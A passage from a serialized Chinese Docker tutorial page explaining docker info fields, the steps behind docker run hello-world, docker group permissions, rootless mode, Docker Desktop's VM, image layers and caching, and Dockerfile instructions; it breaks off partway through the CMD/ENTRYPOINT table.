要重点读的字段：",[57,46270,46271,46280],{},[60,46272,46273],{},[63,46274,46275,46277],{},[66,46276,1872],{},[66,46278,46279],{},"看它干什么",[79,46281,46282,46292,46309,46328,46347,46360],{},[63,46283,46284,46289],{},[84,46285,46286],{},[22,46287,46288],{},"Server Version",[84,46290,46291],{},"引擎版本，决定可用特性",[63,46293,46294,46299],{},[84,46295,46296],{},[22,46297,46298],{},"Storage Driver",[84,46300,46301,46302,17306,46305,46308],{},"几乎总是 ",[22,46303,46304],{},"overlay2",[22,46306,46307],{},"vfs"," 说明没加速层，又慢又占盘",[63,46310,46311,46319],{},[84,46312,46313,1901,46316],{},[22,46314,46315],{},"Cgroup Driver",[22,46317,46318],{},"Cgroup Version",[84,46320,46321,38556,46324,46327],{},[22,46322,46323],{},"systemd",[22,46325,46326],{},"cgroupfs","、v1 还是 v2——与 k8s 混用时驱动必须一致，v1\u002Fv2 的内存与 swap 语义有差异（第十四章）",[63,46329,46330,46335],{},[84,46331,46332],{},[22,46333,46334],{},"Security Options",[84,46336,46337,272,46340,272,46343,46346],{},[22,46338,46339],{},"seccomp",[22,46341,46342],{},"apparmor",[22,46344,46345],{},"rootless"," 都在这里体现",[63,46348,46349,46354],{},[84,46350,46351],{},[22,46352,46353],{},"Docker Root Dir",[84,46355,46356,46357,46359],{},"镜像与卷的真实落盘位置，磁盘爆了对着它 ",[22,46358,16453],{},"（第九章）",[63,46361,46362,46373],{},[84,46363,46364,272,46367,272,46370],{},[22,46365,46366],{},"Registry Mirrors",[22,46368,46369],{},"NCPU",[22,46371,46372],{},"Total Memory",[84,46374,46375,46376,655,46378,46380],{},"加速器是否生效；宿主真实上限（",[22,46377,45990],{},[22,46379,46125],{}," 是相对它而言）",[53,46382,46384],{"id":46383},"docker-run-hello-world拆开看它做了六件事","docker run hello-world：拆开看它做了六件事",[11,46386,46387,46388,46391],{},"跑一条 ",[22,46389,46390],{},"docker run hello-world","，屏幕上那段 \"Hello from Docker!\" 背后是一条完整链路：",[1659,46393,46394,46397,46411,46418,46425,46435],{},[1662,46395,46396],{},"客户端把「跑 hello-world」的请求发给 daemon；",[1662,46398,46399,46400,46403,46404,46406,46407,46410],{},"daemon 本地查 ",[22,46401,46402],{},"docker.io\u002Flibrary\u002Fhello-world:latest"," 的镜像记录，",[17,46405,37531],{},"，于是向 ",[22,46408,46409],{},"registry-1.docker.io"," 发认证与拉取；",[1662,46412,46413,46414,46417],{},"按 manifest 找到匹配 ",[22,46415,46416],{},"linux\u002Famd64"," 的那一组层，逐层下载并校验 sha256；",[1662,46419,46420,46421,46424],{},"把层解压到 ",[22,46422,46423],{},"\u002Fvar\u002Flib\u002Fdocker\u002Foverlay2\u002F","，用联合挂载叠成一个只读根文件系统；",[1662,46426,46427,46428,46431,46432,17306],{},"在上面盖一层容器可写层，配上 namespace\u002Fcgroup，让 runc 拉起镜像 ",[22,46429,46430],{},"CMD"," 指定的 ",[22,46433,46434],{},"\u002Fhello",[1662,46436,46437,46438,46441,46442,46445,46446,46449,46450,46453],{},"进程打印一段文本后 ",[22,46439,46440],{},"exit 0","，容器进入 ",[22,46443,46444],{},"exited"," 状态——",[22,46447,46448],{},"docker ps"," 看不见它，",[22,46451,46452],{},"docker ps -a"," 能看见（第六章）。",[11,46455,46456,46457,46460,46461,46464,46465,46467,46468,4809,46471,4809,46473,46476],{},"这条链路解释了三个常见困惑：第一次跑慢是",[17,46458,46459],{},"拉镜像","（不是启动慢）；跑完就没了是",[17,46462,46463],{},"应用正常退出","（容器活着的时间 = 主进程活着的时间）；",[22,46466,46150],{}," 其实是 ",[22,46469,46470],{},"pull",[22,46472,14617],{},[22,46474,46475],{},"start"," 三个动作的合称。",[53,46478,46480],{"id":46479},"sudo-usermod-ag-docker-user为什么要重新登录","sudo usermod -aG docker $USER：为什么要重新登录",[11,46482,46483,46484,322,46486,46489,46490,46493,46494,46496,46497,161],{},"把用户加进 docker 组，是为了不用每条命令都 ",[22,46485,37063],{},[22,46487,46488],{},"sudo usermod -aG docker $USER","，然后 ",[22,46491,46492],{},"newgrp docker"," 或直接退出终端重新登录，用 ",[22,46495,8521],{}," 确认 groups 里能看到 ",[22,46498,36862],{},[11,46500,46501,46502,46505,46506,46509,46510,46513,46514,18878,46517,46519,46520,161],{},"必须重新登录（或 ",[22,46503,46504],{},"newgrp","）的原因是：",[17,46507,46508],{},"组的成员关系是进程凭证的一部分，只在登录那一刻被读进进程","。你改的是 ",[22,46511,46512],{},"\u002Fetc\u002Fgroup","，而当前这个 shell 进程的凭证是登录时抄的一份快照，不重新登录它不会更新。新手在这里卡住的典型症状是明明执行过 ",[22,46515,46516],{},"usermod",[22,46518,46448],{}," 依旧报 ",[22,46521,46522],{},"permission denied while trying to connect to the Docker daemon socket",[11,46524,46525,1677,46528,46530,46531,46534,46535,46538],{},[22,46526,46527],{},"-aG",[22,46529,30],{}," 不能省：",[22,46532,46533],{},"usermod -G docker $USER","（没有 a）会把用户从其他所有附加组里",[17,46536,46537],{},"移除","，这是能把机器权限改坏的经典事故。",[11,46540,46541,46542,46545,46546,46548],{},"还要清楚这件事的实质：",[17,46543,46544],{},"加入 docker 组不是「降权」，而是把宿主 root 能力授给了你","。能起容器就能挂载任意宿主目录，包括 ",[22,46547,655],{},"。生产机器上谁该进这个组，要当成 sudoers 来审。",[53,46550,46552],{"id":46551},"rootless-模式把-daemon-也变成普通用户","rootless 模式：把 daemon 也变成普通用户",[11,46554,46555,46556,655,46559,46562],{},"rootless 模式让 dockerd 自己跑在普通用户下（靠 ",[22,46557,46558],{},"newuidmap",[22,46560,46561],{},"newgidmap"," 与 user namespace）。它换来的是「即使容器逃逸，攻击者拿到的也是普通用户」，代价是一串限制：",[57,46564,46565,46576],{},[60,46566,46567],{},[63,46568,46569,46571,46574],{},[66,46570,5801],{},[66,46572,46573],{},"rootful",[66,46575,46345],{},[79,46577,46578,46592,46605,46620,46635],{},[63,46579,46580,46583,46586],{},[84,46581,46582],{},"绑定 80\u002F443 特权端口",[84,46584,46585],{},"可以",[84,46587,46588,46591],{},[17,46589,46590],{},"不行","（>1024，除非改 sysctl）",[63,46593,46594,46600,46602],{},[84,46595,46596,46599],{},[22,46597,46598],{},"--network=host"," \u002F macvlan",[84,46601,46585],{},[84,46603,46604],{},"受限或不可用",[63,46606,46607,46610,46613],{},[84,46608,46609],{},"bind mount 宿主文件",[84,46611,46612],{},"直接对应",[84,46614,46615,46616,46619],{},"受 subuid 映射，属主看着是 ",[22,46617,46618],{},"100000+","（第九章、第十五章）",[63,46621,46622,46625,46630],{},[84,46623,46624],{},"数据目录",[84,46626,46627],{},[22,46628,46629],{},"\u002Fvar\u002Flib\u002Fdocker",[84,46631,46632],{},[22,46633,46634],{},"~\u002F.local\u002Fshare\u002Fdocker",[63,46636,46637,46640,46643],{},[84,46638,46639],{},"开机自启",[84,46641,46642],{},"systemd 服务",[84,46644,46645,46646,5149],{},"需要用户级 lingering（",[22,46647,46648],{},"loginctl enable-linger",[11,46650,46651,46652,4809,46655,46489,46658,46661],{},"装法是官方脚本 ",[22,46653,46654],{},"rootlesskit",[22,46656,46657],{},"dockerd-rootless-setuptool.sh install",[22,46659,46660],{},"systemctl --user"," 管理。对个人开发机和「只跑自己代码」的构建机很合适；给外部内容做隔离时它确实提高了一档门槛。",[53,46663,46665],{"id":46664},"docker-desktop-与那台看不见的虚拟机","Docker Desktop 与那台看不见的虚拟机",[11,46667,46668,46669,46672,46673,46675],{},"macOS 和 Windows 上你装的是 Docker Desktop，它不是「原生支持容器」，而是",[17,46670,46671],{},"在宿主上偷偷起了一台 Linux 虚拟机","（macOS 用 Apple 虚拟化框架 \u002F HyperKit，Windows 用 WSL2 或 Hyper-V），daemon 和所有容器都跑在那台 VM 里。你敲的 ",[22,46674,36862],{}," 命令通过它暴露的 socket 转发过去。",[11,46677,46678],{},"由此产生的三个「为什么」必须提前知道，否则后面会一直被折磨：",[1659,46680,46681,46687,46700],{},[1662,46682,46683,46686],{},[17,46684,46685],{},"为什么 bind mount 这么慢？"," 容器在 Linux VM 里，而你的代码在 macOS\u002FWindows 文件系统上，每次读写都要跨一次虚拟机文件共享（virtiofs \u002F gRPC-FUSE \u002F WSL2 计划）。stat 密集型操作（npm install、大量小文件）慢一个数量级。解法：把代码放在命名卷里、或用 WSL2 内的文件系统（Windows 侧）、或直接在 VM 里跑构建。",[1662,46688,46689,46695,46696,46699],{},[17,46690,46691,46692,46694],{},"为什么 ",[22,46693,46598],{}," 不生效？"," 那个 host 是 VM 的 host，不是你 Mac 的。同理 ",[22,46697,46698],{},"127.0.0.1"," 在容器里也不指向你的浏览器（第八章）。",[1662,46701,46702,46705],{},[17,46703,46704],{},"为什么内存把 Mac 吃满？"," VM 会尽量占满分配给它的内存并不归还，需要在 Desktop 设置里给 Docker VM 分配上限（第八章的资源视角）。",[11,46707,46708],{},"Linux 上没有这层虚拟机，性能与语义都是「原生」的——这也是生产环境几乎清一色 Linux 容器的原因。",[11,46710,46711],{},"下一章来看镜像的真实结构：它是一叠只读层，理解这一点之后，Dockerfile 里所有「为什么要按这个顺序写」都会自动说得通。",[48,46713,46715],{"id":46714},"三镜像分层只读层联合挂载与容器可写层","三、镜像分层：只读层、联合挂载与容器可写层",[11,46717,46718,46719,46722],{},"镜像不是一个大文件，而是",[17,46720,46721],{},"一叠只读层","。这一章的目标是让你能从命令输出里亲眼看到这些层——看懂了层，第五章的缓存、第十四章的瘦身、第十五章的密钥泄漏才是「显然」的结论。",[53,46724,46726],{"id":46725},"一叠只读层-一个读写层","一叠只读层 + 一个读写层",[11,46728,46729],{},"启动容器时，Docker 用联合挂载（Linux 上默认 overlay2）把这叠只读层叠成一个根文件系统，再在最上面加一层属于这个容器的可写层：",[308,46731,46733],{"className":3902,"code":46732,"language":3904,"meta":314,"style":314},"┌────────────────────────────────┐\n│ 容器可写层（每个容器一份）     │ ← 所有写入都发生在这里，docker rm 即消失\n├────────────────────────────────┤\n│ CMD [\"node\", \"server.js\"]   0B │ 元数据层：不占空间，但参与缓存判定\n│ COPY . .                 1.8MB │\n│ RUN npm ci                212MB│\n│ WORKDIR \u002Fsrv\u002Fshop           0B │\n│ FROM node:22-bookworm-slim 78MB│\n└────────────────────────────────┘\n  下面全是只读层：可被多个镜像、多个容器共享\n",[22,46734,46735,46740,46763,46768,46794,46812,46828,46843,46856,46861],{"__ignoreMap":314},[331,46736,46737],{"class":333,"line":334},[331,46738,46739],{"class":501},"┌────────────────────────────────┐\n",[331,46741,46742,46745,46748,46751,46754,46757,46760],{"class":333,"line":341},[331,46743,46744],{"class":501},"│",[331,46746,46747],{"class":365}," 容器可写层（每个容器一份）",[331,46749,46750],{"class":365},"     │",[331,46752,46753],{"class":365}," ←",[331,46755,46756],{"class":365}," 所有写入都发生在这里，docker",[331,46758,46759],{"class":365}," rm",[331,46761,46762],{"class":365}," 即消失\n",[331,46764,46765],{"class":333,"line":357},[331,46766,46767],{"class":501},"├────────────────────────────────┤\n",[331,46769,46770,46772,46775,46777,46780,46782,46785,46788,46791],{"class":333,"line":371},[331,46771,46744],{"class":501},[331,46773,46774],{"class":365}," CMD",[331,46776,1108],{"class":337},[331,46778,46779],{"class":365},"\"node\"",[331,46781,409],{"class":337},[331,46783,46784],{"class":365},"\"server.js\"]",[331,46786,46787],{"class":365},"   0B",[331,46789,46790],{"class":365}," │",[331,46792,46793],{"class":365}," 元数据层：不占空间，但参与缓存判定\n",[331,46795,46796,46798,46801,46804,46806,46809],{"class":333,"line":384},[331,46797,46744],{"class":501},[331,46799,46800],{"class":365}," COPY",[331,46802,46803],{"class":365}," .",[331,46805,46803],{"class":365},[331,46807,46808],{"class":365},"                 1.8MB",[331,46810,46811],{"class":365}," │\n",[331,46813,46814,46816,46819,46822,46825],{"class":333,"line":397},[331,46815,46744],{"class":501},[331,46817,46818],{"class":365}," RUN",[331,46820,46821],{"class":365}," npm",[331,46823,46824],{"class":365}," ci",[331,46826,46827],{"class":365},"                212MB│\n",[331,46829,46830,46832,46835,46838,46841],{"class":333,"line":418},[331,46831,46744],{"class":501},[331,46833,46834],{"class":365}," WORKDIR",[331,46836,46837],{"class":365}," \u002Fsrv\u002Fshop",[331,46839,46840],{"class":365},"           0B",[331,46842,46811],{"class":365},[331,46844,46845,46847,46850,46853],{"class":333,"line":427},[331,46846,46744],{"class":501},[331,46848,46849],{"class":365}," FROM",[331,46851,46852],{"class":365}," node:22-bookworm-slim",[331,46854,46855],{"class":365}," 78MB│\n",[331,46857,46858],{"class":333,"line":439},[331,46859,46860],{"class":501},"└────────────────────────────────┘\n",[331,46862,46863],{"class":333,"line":450},[331,46864,46865],{"class":501},"  下面全是只读层：可被多个镜像、多个容器共享\n",[11,46867,46868],{},"三个直接后果：",[1773,46870,46871,46877,46895],{},[1662,46872,46873,46876],{},[17,46874,46875],{},"共享","。跑 20 个基于同一镜像的容器，磁盘上只有一份镜像层，20 个可写层而已。这就是容器密度高、镜像「下载快」的物理原因（很多层早就在本地了，只拉缺的）。",[1662,46878,46879,46882,46883,46886,46887,46890,46891,46894],{},[17,46880,46881],{},"写时复制（copy-up）","。你要改下层的 ",[22,46884,46885],{},"app.conf","，文件系统先把整份文件复制到可写层，你改的是副本；上层「遮住」下层。删文件同理，是在可写层放一个 whiteout 标记，",[17,46888,46889],{},"下层那个字节还在","——所以在 Dockerfile 里 ",[22,46892,46893],{},"RUN rm bigfile"," 不会让镜像变小，必须和产生它的指令合并在同一层（第十四章瘦身核心）。",[1662,46896,46897,161,46900,46902],{},[17,46898,46899],{},"容器可写层是易逝的",[22,46901,37027],{}," 就没了。数据库要活着必须走卷（第九章）。",[53,46904,46906],{"id":46905},"docker-history把层和-dockerfile-指令对上","docker history：把层和 Dockerfile 指令对上",[11,46908,46909,46912,46913,46916,46917,46919,46920,4839,46923,272,46925,272,46928,272,46931,272,46934,272,46937,272,46940,272,46943,46946],{},[22,46910,46911],{},"docker history ghcr.io\u002Fexample\u002Fshop-api:1.8.3 --no-trunc"," 的输出里每条指令对应一层，",[22,46914,46915],{},"SIZE"," 是该层新增的字节数。你会看到大量 ",[22,46918,46915],{}," 为 0 的层——它们是",[17,46921,46922],{},"元数据层",[22,46924,46430],{},[22,46926,46927],{},"ENTRYPOINT",[22,46929,46930],{},"ENV",[22,46932,46933],{},"EXPOSE",[22,46935,46936],{},"WORKDIR",[22,46938,46939],{},"USER",[22,46941,46942],{},"LABEL",[22,46944,46945],{},"VOLUME","），只改配置不写文件，不占空间但仍然算一层、仍然参与缓存判定。这个区分在第四章讲指令顺序时是关键。",[11,46948,46949,46950,46953],{},"示例 03 把这几条真实输出摆在一起，可以逐字段点开看：层是从下往上叠加的，",[22,46951,46952],{},"history"," 是从上往下打印的，方向感要建起来。",[4748,46955],{"height":40485,"src":46956,"title":46957},"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F03-image-layers.html","示例 03：分层观察——images \u002F history \u002F inspect \u002F system df",[11,46959,46960,46961,46964,46965,46968],{},"另外两个观察入口是 ",[22,46962,46963],{},"docker image inspect ghcr.io\u002Fexample\u002Fshop-api:1.8.3 --format '{{json .RootFS.Layers}}'","（层的内容哈希数组，从上到下即从最底层到最上层）和 ",[22,46966,46967],{},"docker system df","（给四行账：Images、Containers、Local Volumes、Build Cache，以及各自的「可回收」比例——第十四章讨论清理策略时，它就是你每次决策前该看的那张表）。",[53,46970,46972],{"id":46971},"改一行代码为什么要重建内容哈希决定失效点","改一行代码为什么要重建：内容哈希决定失效点",[11,46974,46975],{},"构建时每一层的 ID 由「父层 ID + 本条指令 + 本指令涉及的输入内容（对 COPY\u002FADD 是文件内容哈希）」算出来。因此：",[308,46977,46979],{"className":15575,"code":46978,"language":15577,"meta":314,"style":314},"FROM node:22-bookworm-slim           # 层 1\nWORKDIR \u002Fsrv\u002Fshop                    # 层 2（元数据）\nCOPY package.json package-lock.json .\u002F  # 层 3：只依赖这两个文件\nRUN npm ci                           # 层 4：npm 只依赖上一份 package-lock\nCOPY . .                             # 层 5：整个源码目录 —— 改任何一行源码，从这层起重跑\nENV NODE_ENV=production              # 层 6（元数据）\nEXPOSE 3000                          # 层 7（元数据）\nCMD [\"node\", \"server.js\"]            # 层 8（元数据）\n",[22,46980,46981,46986,46991,46996,47001,47006,47011,47016],{"__ignoreMap":314},[331,46982,46983],{"class":333,"line":334},[331,46984,46985],{},"FROM node:22-bookworm-slim           # 层 1\n",[331,46987,46988],{"class":333,"line":341},[331,46989,46990],{},"WORKDIR \u002Fsrv\u002Fshop                    # 层 2（元数据）\n",[331,46992,46993],{"class":333,"line":357},[331,46994,46995],{},"COPY package.json package-lock.json .\u002F  # 层 3：只依赖这两个文件\n",[331,46997,46998],{"class":333,"line":371},[331,46999,47000],{},"RUN npm ci                           # 层 4：npm 只依赖上一份 package-lock\n",[331,47002,47003],{"class":333,"line":384},[331,47004,47005],{},"COPY . .                             # 层 5：整个源码目录 —— 改任何一行源码，从这层起重跑\n",[331,47007,47008],{"class":333,"line":397},[331,47009,47010],{},"ENV NODE_ENV=production              # 层 6（元数据）\n",[331,47012,47013],{"class":333,"line":418},[331,47014,47015],{},"EXPOSE 3000                          # 层 7（元数据）\n",[331,47017,47018],{"class":333,"line":427},[331,47019,47020],{},"CMD [\"node\", \"server.js\"]            # 层 8（元数据）\n",[11,47022,47023,47024,47040,47041,47043],{},"改一行源码 → 层 1–4 命中缓存，层 5 起重建。",[17,47025,47026,47027,14079,47030,47033,47034,47036,47037],{},"但如果你把 ",[22,47028,47029],{},"COPY . .",[22,47031,47032],{},"COPY package.json"," 前面，或者干脆第一行就 ",[22,47035,47029],{},"，那么改一行代码就要重新 ",[22,47038,47039],{},"npm ci","（因为 ",[22,47042,47039],{}," 那层的父层哈希变了）——一个几秒的改动变成几分钟的构建。这一条顺序调整，是 Dockerfile 性能优化里性价比最高的一件事，没有之一。",[53,47045,47047],{"id":47046},"镜像就是一个-tar-的集合","镜像就是一个 tar 的集合",[11,47049,47050,47051,47054,47055,47058,47059,47062,47063,272,47065,272,47068,47071,47072,47075],{},"镜像在磁盘上是散的目录，但在网络上和 ",[22,47052,47053],{},"docker save"," 的结果里，它是一组 tar。执行 ",[22,47056,47057],{},"docker save -o shop-api-1.8.3.tar ghcr.io\u002Fexample\u002Fshop-api:1.8.3 && tar tf shop-api-1.8.3.tar | head -8","，你会看到 ",[22,47060,47061],{},"blobs\u002Fsha256\u002F..."," 一堆层文件加一个 ",[22,47064,321],{},[22,47066,47067],{},"index.json",[22,47069,47070],{},"oci-layout","。也就是说：",[17,47073,47074],{},"「镜像」本质上是一份带元数据的文件系统 tar 包集合","，OCI 规范只是把这格式标准化了。这带来两个实用能力：",[1773,47077,47078,47089],{},[1662,47079,47080,1901,47082,322,47085,47088],{},[22,47081,47053],{},[22,47083,47084],{},"docker load",[17,47086,47087],{},"离线分发","。内网机器没外网、气隔环境、应急回滚包，都靠它（第十章细讲用法与风险）。",[1662,47090,47091,47092,47095],{},"层可以被任何兼容 OCI 的工具消费：Podman、containerd、Kubernetes 直接用 ",[22,47093,47094],{},"docker build"," 出来的镜像（第十七章讲 dockershim 移除时这条是重点）。",[11,47097,47098],{},"对应命令组：",[57,47100,47101,47111],{},[60,47102,47103],{},[63,47104,47105,47107,47109],{},[66,47106,5040],{},[66,47108,7759],{},[66,47110,27698],{},[79,47112,47113,47128,47144,47168,47185,47197],{},[63,47114,47115,47120,47123],{},[84,47116,47117],{},[22,47118,47119],{},"docker images",[84,47121,47122],{},"本地镜像列表",[84,47124,47125,47127],{},[22,47126,46915],{}," 是解压后共享大小，不等于它占的磁盘",[63,47129,47130,47135,47138],{},[84,47131,47132],{},[22,47133,47134],{},"docker history",[84,47136,47137],{},"层与指令对应表",[84,47139,47140,47143],{},[22,47141,47142],{},"--no-trunc"," 才看得到完整指令，也是查密钥泄漏的第一现场",[63,47145,47146,47151,47154],{},[84,47147,47148],{},[22,47149,47150],{},"docker image inspect",[84,47152,47153],{},"完整元数据 JSON",[84,47155,47156,272,47159,272,47162,272,47165],{},[22,47157,47158],{},"RootFS.Layers",[22,47160,47161],{},"Config.Env",[22,47163,47164],{},"RepoDigests",[22,47166,47167],{},"Architecture",[63,47169,47170,47175,47178],{},[84,47171,47172],{},[22,47173,47174],{},"docker image ls -q",[84,47176,47177],{},"只要 ID",[84,47179,47180,47181,47184],{},"配合 ",[22,47182,47183],{},"docker rmi $(...)"," 批量删",[63,47186,47187,47191,47194],{},[84,47188,47189],{},[22,47190,46967],{},[84,47192,47193],{},"磁盘账本",[84,47195,47196],{},"清理前先跑它，别反过来",[63,47198,47199,47205,47208],{},[84,47200,47201,1901,47203],{},[22,47202,47053],{},[22,47204,47084],{},[84,47206,47207],{},"导出 \u002F 导入 tar",[84,47209,47210],{},"不跨架构；tar 体积按未压缩算",[11,47212,47213,47214,47216],{},"这一章的收获应该是：你从此看 ",[22,47215,47094],{}," 的输出不再是「它在忙」，而是「它重跑到第几层、为什么这层没命中」。下一章把 Dockerfile 的每一条指令讲透，那正是控制分层的唯一手段。",[48,47218,47220],{"id":47219},"四dockerfile-逐条讲透指令语义四种组合与元数据层","四、Dockerfile 逐条讲透：指令语义、四种组合与元数据层",[11,47222,47223,47224,47227],{},"Dockerfile 是镜像的源代码，也是本教程密度最高的一章。逐条讲不是因为记不住就没法用，而是因为",[17,47225,47226],{},"每条指令都有「看起来对、跑起来炸」的陷阱","，而陷阱基本都藏在默认行为里。",[53,47229,47231],{"id":47230},"from起点也是体积与漏洞的主要来源","FROM：起点，也是体积与漏洞的主要来源",[308,47233,47235],{"className":15575,"code":47234,"language":15577,"meta":314,"style":314},"FROM node:22-bookworm-slim AS builder     # 带别名，供多阶段构建引用\nFROM golang:1.23-alpine\nFROM scratch                             # 空镜像：只有你显式复制进去的东西\nFROM ghcr.io\u002Fexample\u002Fshop-api:1.8.3@sha256:9c1f0e... # 标签 + digest 双锁\n",[22,47236,47237,47242,47247,47252],{"__ignoreMap":314},[331,47238,47239],{"class":333,"line":334},[331,47240,47241],{},"FROM node:22-bookworm-slim AS builder     # 带别名，供多阶段构建引用\n",[331,47243,47244],{"class":333,"line":341},[331,47245,47246],{},"FROM golang:1.23-alpine\n",[331,47248,47249],{"class":333,"line":357},[331,47250,47251],{},"FROM scratch                             # 空镜像：只有你显式复制进去的东西\n",[331,47253,47254],{"class":333,"line":371},[331,47255,47256],{},"FROM ghcr.io\u002Fexample\u002Fshop-api:1.8.3@sha256:9c1f0e... # 标签 + digest 双锁\n",[11,47258,29078],{},[1773,47260,47261,47273,47285],{},[1662,47262,47263,47269,47270,47272],{},[17,47264,47265,47266],{},"一个 Dockerfile 可以有多个 ",[22,47267,47268],{},"FROM","，这就是多阶段构建的骨架（第五章）；最终镜像只包含最后一个 ",[22,47271,47268],{}," 之后的内容。",[1662,47274,47275,47277,47278,655,47281,47284],{},[22,47276,47268],{}," 决定了一切上游：glibc 还是 musl、有没有 ",[22,47279,47280],{},"apt",[22,47282,47283],{},"apk","、默认用户是不是 root、有多少 CVE 等着被打。基础镜像选型在第十五章展开。",[1662,47286,47287,47288,47291],{},"版本要写具体。",[22,47289,47290],{},"FROM node:latest"," 意味着你的构建今天绿、下个月不知道因为什么红。生产用「大版本 tag + digest」。",[53,47293,47295],{"id":47294},"copy-vs-add默认选-copy没有例外","COPY vs ADD：默认选 COPY，没有例外",[57,47297,47298,47314],{},[60,47299,47300],{},[63,47301,47302,47304,47309],{},[66,47303],{},[66,47305,47306],{},[22,47307,47308],{},"COPY",[66,47310,47311],{},[22,47312,47313],{},"ADD",[79,47315,47316,47325,47341,47351],{},[63,47317,47318,47321,47323],{},[84,47319,47320],{},"复制本地文件到镜像",[84,47322,11683],{},[84,47324,11683],{},[63,47326,47327,47333,47335],{},[84,47328,47329,47330,5149],{},"源是 URL（",[22,47331,47332],{},"ADD http:\u002F\u002F…",[84,47334,11700],{},[84,47336,47337,47338,47340],{},"✓（但",[17,47339,4771],{},"为它设计的功能）",[63,47342,47343,47346,47348],{},[84,47344,47345],{},"源是 tar 自动解压",[84,47347,11700],{},[84,47349,47350],{},"✓（隐式行为，容易踩）",[63,47352,47353,47361,47363],{},[84,47354,19605,47355,1901,47358],{},[22,47356,47357],{},"--chown",[22,47359,47360],{},"--chmod",[84,47362,11683],{},[84,47364,11683],{},[11,47366,47367,47368,47370,47371,47380,47381,47387,47388,47391],{},"官方文档自己就写着「通常用 COPY」。",[22,47369,47313],{}," 那两个额外能力都有更好的替代品：",[17,47372,47373,47374,4809,47377],{},"下载用 ",[22,47375,47376],{},"RUN curl",[22,47378,47379],{},"RUN rm","（能校验、能清理、能合进一层），",[17,47382,47383,47384],{},"解压用 ",[22,47385,47386],{},"RUN tar -xzf","。一个细节值得记：",[22,47389,47390],{},"ADD \u003Ctar-url>"," 不解压（网络源不触发自动解压），这种不一致正是它该被避开的原因。",[11,47393,47394,47396,47397,47400,47401,47403,47404,47406,47407,18878,47412,47415,47416,47419,47420,47422],{},[22,47395,47308],{}," 的两个易错点：",[22,47398,47399],{},"COPY --chown=app:app --chmod=0644 . \u002Fsrv\u002Fshop\u002F"," 避免整棵目录被 root 占有；目标以 ",[22,47402,655],{}," 结尾是「拷进目录」，不以 ",[22,47405,655],{}," 结尾且源是单个文件则是「重命名」。另外 ",[17,47408,47409,47411],{},[22,47410,47308],{}," 只能看见构建上下文",[22,47413,47414],{},"COPY ..\u002Fx"," 一律失败；",[22,47417,47418],{},".dockerignore"," 会同时影响 ",[22,47421,47029],{}," 的内容与缓存哈希（第五章）。",[53,47424,47426],{"id":47425},"runshell-形式与-exec-形式以及-pid-1-的伏笔","RUN：shell 形式与 exec 形式，以及 PID 1 的伏笔",[308,47428,47430],{"className":15575,"code":47429,"language":15577,"meta":314,"style":314},"RUN apt-get update && apt-get install -y --no-install-recommends curl ca-certificates \\\n    && rm -rf \u002Fvar\u002Flib\u002Fapt\u002Flists\u002F*          # 三层合一：一条 RUN 一个层，必须链起来\nSHELL [\"\u002Fbin\u002Fbash\", \"-o\", \"pipefail\", \"-c\"] # 改默认 shell（见本章 SHELL）\nRUN set -o pipefail && make 2>&1 | tee build.log\n",[22,47431,47432,47437,47442,47447],{"__ignoreMap":314},[331,47433,47434],{"class":333,"line":334},[331,47435,47436],{},"RUN apt-get update && apt-get install -y --no-install-recommends curl ca-certificates \\\n",[331,47438,47439],{"class":333,"line":341},[331,47440,47441],{},"    && rm -rf \u002Fvar\u002Flib\u002Fapt\u002Flists\u002F*          # 三层合一：一条 RUN 一个层，必须链起来\n",[331,47443,47444],{"class":333,"line":357},[331,47445,47446],{},"SHELL [\"\u002Fbin\u002Fbash\", \"-o\", \"pipefail\", \"-c\"] # 改默认 shell（见本章 SHELL）\n",[331,47448,47449],{"class":333,"line":371},[331,47450,47451],{},"RUN set -o pipefail && make 2>&1 | tee build.log\n",[1773,47453,47454,47470,47479],{},[1662,47455,47456,47463,47464,47466,47467,47469],{},[17,47457,47458,47459,47462],{},"每多一条 ",[22,47460,47461],{},"RUN"," 就多一层","，而层里的东西删不掉。所以「装包 → 清理」必须用 ",[22,47465,14406],{}," 写在同一条 ",[22,47468,47461],{}," 里；分开写等于用下一层去遮蔽，磁盘上原文件还在。",[1662,47471,47472,47478],{},[17,47473,47474,47477],{},[22,47475,47476],{},"apt-get update"," 单独成层会长期缓存","，之后装到的永远是那次快照的旧包；和 install 同层才能一起失效。",[1662,47480,47481,47482,47484,47485,322,47488,47491,47492,47495,47496,4813],{},"每条 ",[22,47483,47461],{}," 都是全新 shell 进程，",[17,47486,47487],{},"互不继承状态",[22,47489,47490],{},"RUN cd \u002Ftmp"," 下一层回到工作目录，",[22,47493,47494],{},"RUN export FOO=1"," 下一层消失（要跨指令请用 ",[22,47497,46930],{},[11,47499,47500,47501,47504,47505,47508,47509,47512,47513,47515,47516,47519],{},"形式有两种，差别很重要：",[22,47502,47503],{},"RUN npm ci","（shell 形式，实际执行 ",[22,47506,47507],{},"\u002Fbin\u002Fsh -c \"npm ci\"","）与 ",[22,47510,47511],{},"RUN [\"npm\", \"ci\"]","（exec 形式，没有 shell）。shell 形式能用管道、",[22,47514,14406],{},"、通配符、变量展开，代价是",[17,47517,47518],{},"你真正想跑的程序不是 PID 1","——这直接决定信号能不能收到（第十六章的优雅停机整章在讲这个坑）。exec 形式里 node 就是 PID 1。",[53,47521,47523],{"id":47522},"cmd-vs-entrypoint四种组合必须一次讲清","CMD vs ENTRYPOINT：四种组合必须一次讲清",[11,47525,47526,47527,161],{},"这两个概念之所以绕，是因为它们一个管「主命令的参数」，一个管「主命令本身」，而且",[17,47528,47529],{},"只有最后一层生效",[57,47531,47532,47548],{},[60,47533,47534],{},[63,47535,47536,47539,47542],{},[66,47537,47538],{},"Dockerfile 里写了",[66,47540,47541],{},"容器启动时执行",[66,47543,47544,47547],{},[22,47545,47546],{},"docker run img python -m http.server"," 时执行",[79,47549,47550,47571,47592,47610],{},[63,47551,47552,47558,47563],{},[84,47553,47554,47557],{},[22,47555,47556],{},"CMD [\"node\",\"app.js\"]","，无 ENTRYPOINT",[84,47559,47560],{},[22,47561,47562],{},"node app.js",[84,47564,47565,4839,47568,5149],{},[22,47566,47567],{},"python -m http.server",[17,47569,47570],{},"整条被替换",[63,47572,47573,47579,47583],{},[84,47574,47575,47578],{},[22,47576,47577],{},"ENTRYPOINT [\"node\"]","，无 CMD",[84,47580,47581],{},[22,47582,15542],{},[84,47584,47585,47588,47589,5149],{},[22,47586,47587],{},"node python -m http.server","（参数",[17,47590,47591],{},"追加",[63,47593,47594,47601,47605],{},[84,47595,47596,4809,47598],{},[22,47597,47577],{},[22,47599,47600],{},"CMD 